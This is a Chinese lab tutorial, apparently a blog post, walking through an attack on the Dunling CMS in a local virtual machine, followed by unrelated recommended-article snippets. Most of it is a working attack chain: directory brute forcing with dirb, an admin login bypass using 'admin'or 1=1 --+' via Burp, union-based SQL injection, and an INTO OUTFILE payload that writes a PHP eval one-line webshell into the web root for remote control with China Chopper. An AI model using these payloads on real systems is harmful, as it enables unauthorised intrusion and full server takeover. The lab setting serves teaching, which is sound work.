环境

Windows Server 2008(虚拟机)   安装phpStudy,安装dunling

盾灵投稿系统

dunling是一个CMS在线内容管理器

dirb是Kali内置的一个基于字典的Web目录扫描工具,用来爆破目录的

假设已经知道管理员的登陆用户名是admin

实验演示

①在Windows Server 2008中安装phpStudy,关闭防火墙

下载盾灵源码,将盾灵文件夹放在phpstudy下:C:\phpStudy\PHPTutorial\WWW

看一下Windows Server的IP,是192.168.244.200

看一下本机ip,192.168.1.102

ping一下,看是否能ping通

ok可以ping通

这样,在本机访问192.168.244.200

这样访问会直接访问WinServer的C:\phpStudy\PHPTutorial\WWW 文件夹

有一个默认的index来输出“Hello World”

我们访问 http://192.168.244.200/dunling/, 就可以看到盾灵原创投稿系统的这个页面了

然后我们对这台服务器进行目录爆破

dirb http://192.168.244.200

前面带加号的表示它在尝试这些目录

没发现什么很有价值的信息

再对dunling目录进行爆破

dirb http://192.168.244.200/dunling

看到有一个admin目录,进去看一下

进去是这个,判断它应该就是网站的后台管理员登陆页面

然后尝试看这个页面有没有注入点(我们假设的是已经知道了登录用户名是admin,不然这个实验不好做)

存在注入点的页面,举个例子,它的源码是这样的,就是把我们输入的用户名和密码直接带入到这里面来

当我们知道了正确的用户名的时候,在输入用户名的时候给他闭合单引号然后把后面的注释掉,就可以登录进去了

在这里输入admin之后想再输入’ 却输入不进去

看源码发现他这有一个对符号的过滤

那就上burp吧-_-

打开burp发现爆了个提示8080端口被占用了,然后进到proxy中的options发现running勾选不了

我们进到命令行,查找一下占用8080端口的程序

netstat -nao |findstr "8080"

然后进到任务管理器,将PID为7192的进程杀掉

之后就发现可以勾选了

然后打开浏览器的FoxyProxy插件,启动它

burp的作用是拦截所有从本机通过8080端口进出的数据包
foxyproxy的作用是让浏览器产生的数据都通过8080端口流出

这样在浏览器上再访问页面时,就会自动跳转到burp,然后浏览器是显示等待访问网站的应答,而burp就是捕获到这个数据包

在burp里我们就可以在admin后面添加我们想进行sql注入的内容了(之前在页面上提交不了因为页面有过滤)

这里构造

admin'or 1=1 --+

然后Forward进行转发(如果1次不成功,多点几次,或者之间点击Intercept is on 给关掉,这样就绝对转发过去了)

然后浏览器的页面就变成这样了,就可以进去了

现在我们进入到了后台,我们的目的是拿到它服务器主机的权限

Sql注入手工三部曲

①逻辑判断是否存在注入点

②判断字段值

③注入

我们来到会员管理

我们在账号里输入一个1,然后点搜索。

看页面的返回形式判断可能有注入点
192.168.244.200/dunling/admin/income.php?t=uid&jq=1

(注意这里判断有注入点必须搜的是存在的账号,这里我们之前看到只有1个UID为1的,所以只能是1。因为只有它正确得搜出来了你才能判断有注入点,如果是一个不存在的账号,和那些一样,你根本不能判断有没有注入点,都是被他拒绝了。就是必须得返回true的时候才能确定这里有注入点)

接下来确定它的字段值,就是找它到底有多少个

sql注入的格式order by

192.168.244.200/dunling/admin/income.php?t=uid&jq=1' order by 1 --+

下面分别是成功的场景和失败的场景

所以使用二分法的思想,来确定它的字段值个数

确定出来它总共有22个,到了order by 23就不行了

然后来进行联合查询,把22个字段值都查询出来

192.168.244.200/dunling/admin/income.php?t=uid&jq=1' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 --+

然后在这里我们可以进行一些其他的操作

database()是显示数据库名

这里将2替换成database(),在之前2的位置就会是运行database()的结果

,

@@datadir   当前绝对路径

注意之前显示的是,1,2,9,所以只能在这3个地方改变

select into outfile   将select后面的内容都写进文件里(写在对方的主机上)

192.168.244.200/dunling/admin/income.php?t=uid&jq=1' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'C:\\text.txt' --+

(注意路径要加单引号)

这样在对方的C盘下就出现了一个text文件

但是文件内容有点怪,前面是一些我不太明白,莫名奇妙出现的内容,从后面开始才是我们写入的1,2,3,...,22

我们想控制对方主机,想采用的方法就是给对方电脑里写个一句话木马,然后用菜刀去连接

一句话木马:

<?php @eval($_POST[cmd])?>

(eval是执行前端传输过来的命令。@是错误回显,不加也能执行,只不过不能回显错误了

以POST方式接受命令,cmd是变量名,具体的cmd值是我们后面用菜刀传进去的)

这次这个木马要写到对方主机的WWW目录下,新建一个文件,就叫text.php吧

注意如果是从电脑里直接复制过来文件夹的目录,是单斜杠\,是不行的,必须要双斜杠\\

(Windows是\\, Unix,Linux是//)

192.168.244.200/dunling/admin/income.php?t=uid&jq=1' union all select '<?php @eval($_POST[cmd])?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\test.php' --+

(注意一句话木马要加‘’)

(如果路径是这种 http://192.168.244.200/dunling/admin/income.php?t=uid&jq=1%27%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20into%20outfile%20%27C:\\text.txt%27%20--+ 是经过url编码了的)

%20是空格
%27是'

执行之后在对方主机的WWW目录下就出现了一个text.php文件

可以看到一句话木马已经写进去了

php文件只会/解析执行php语句,里面的非php语句不会管

这样,我们来执行这个text.php文件或者用菜刀连接它,就可以利用文件里的一句话木马来进行相关操作了

我们打开菜刀

连接路径要直接写到test.php文件,然后后面写上cmd字段值(菜刀就是利用cmd这个变量让对方一句话木马执行然后拿到shell了)

成功连接

后台登录密码绕过+sql注入+一句话木马 实验演示(盾灵)相关推荐

  1. SQL注入一句话木马(load_file/out file)

    工具 靶机--metasploitable2 环境--DVWA,(low等级下) 菜刀--蚁剑 权限查看 查看mysql是否有对函数load_file(),outfile()函数的限制 (secure ...

  2. 2020无人用的邮箱和密码大全_Amazon后台登录密码错误!如何辨别账号是否被冻结?...

    啊你绝对不知道 这里每天都会更新一些跨境电商实时动态. 卖家经验交流,跨境平台动态研究, 曝光销售技巧,转化技巧,站外引流的方法 亚马逊后台登录密码错误,如何辨别账号是否被冻结?很多人一看到自己账号登 ...

  3. 忘记帝国cms后台登录密码和认证码如何找回

    帝国cms后台管理员登录账号.密码或者认证码忘记了怎么办?还在苦苦的一遍遍修改数据库的user表吗?这里介绍一个最简单的方法找回账号密码和验证码 1.下载附件,把文件上传到网站根目录,上传到根目录即可 ...

  4. Halo重置后台登录密码

    Halo重置后台登录密码 这个问题还要从升级博客说起,以前一直没咋管过版本升级,但是最近在闲来无事逛Halo社区时发现了一些新版本上比较好的特性,而且最新版升级了部分依赖中的 log4j2 版本,修复 ...

  5. 康乐linux登录后台,解决LuManager自己的路zijidelu忘记后台登录密码详细过程

    对于刚使用上以LuManager自己的路(zijidelu)集成环境搭建的Linux系统服务器网站的新手站长来说忘记了后台登录密码真是一件糟糕的事情,虽然这一时不影响你网站的正常运行,但数据安全始终是 ...

  6. 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  7. 交换机的相关配置---设置终端登录密码和恢复出厂设置的实验操作

    交换机的相关配置-设置终端登录密码和恢复出厂设置的实验操作 实验操作要求: 1.为交换机lsw1设置终端登录密码Taren1,退出终端重进以验证登录效果 2.恢复出厂设置,重新进入后观察设备名变化 具 ...

  8. php mysql 注入一句话木马_渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  9. 登录页面的SQL注入漏洞

    一.环境准备 1.在Linux准备一套Xampp或者Phpstudy:模拟攻防 2.在vscode安装Rremote Development插件,进行远程调试 新添加主机 ssh root@192.1 ...

最新文章

  1. 高维多元数据拟合回归如何进行???
  2. 汇编 整数常量 实数常量 字符常量 字符串常量 保留字 标识符 伪指令 指令 nop指令
  3. 20165310java_blog_week6
  4. 关于Expdp/Impdp 并行导入导出详细测试结果和并行参数的正确理解!!
  5. 【转】解决yum安装软件报Couldn't resolve host 'mirrorlist.centos.org问题
  6. 第13课:动手制作自己的简易聊天机器人
  7. 八、非规则组织分析及其数学模型——平纹变化组织
  8. python n个list如何组成矩阵_通过学习在processing中操作图片,掌握python 列表操作...
  9. 分别对时分秒加减的java_Java中关于获取时间(日期)的总结大全
  10. dalsa工业相机8k参数_偏振光相机3——偏振应用
  11. 智能优化算法:堆优化算法-附代码
  12. 用MySQL语言创建视图_mysql 创建视图
  13. B站视频下载(含bv快速变回av)
  14. 物联网技术体系主要分为哪些关键技术,具体包含哪些技术?
  15. Linux 错误E45,readonly optionisset(add ...)
  16. python中hist的用法总结
  17. yarn : 无法加载文件 C:\Users\wangxin67\AppData\Roaming\npm\yarn.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.mic
  18. 快速切换清华源、百度源的方法
  19. vue + iview + less 定制主题色
  20. windows 增加开机启动服务器,Windows Server2012删除或添加开机启动项的方法

热门文章

  1. linux 除0异常,关于c ++:整数除以零的平台会触发浮点异常?
  2. 怎样开机自动进入系统
  3. threadpool的数量_多线程之旅(11)_如何限制系统线程池ThreadPool的最大最小并发数量_SetMaxThreads/SetMinThreads用法...
  4. php生肖查询器,2019生肖号码表 查询属相表对照表图
  5. Android SD卡文件读写目录及权限
  6. i.MX6ULL驱动开发 | 11 - Linux I2C 驱动框架
  7. 顺序栈十进制转八进制C语言,顺序栈实现十进制跟八进制之间的转换
  8. Matlab实现《追光者》简谱
  9. delphi2007中如何安装ActiveX控件
  10. 使用Word2003进行公式排版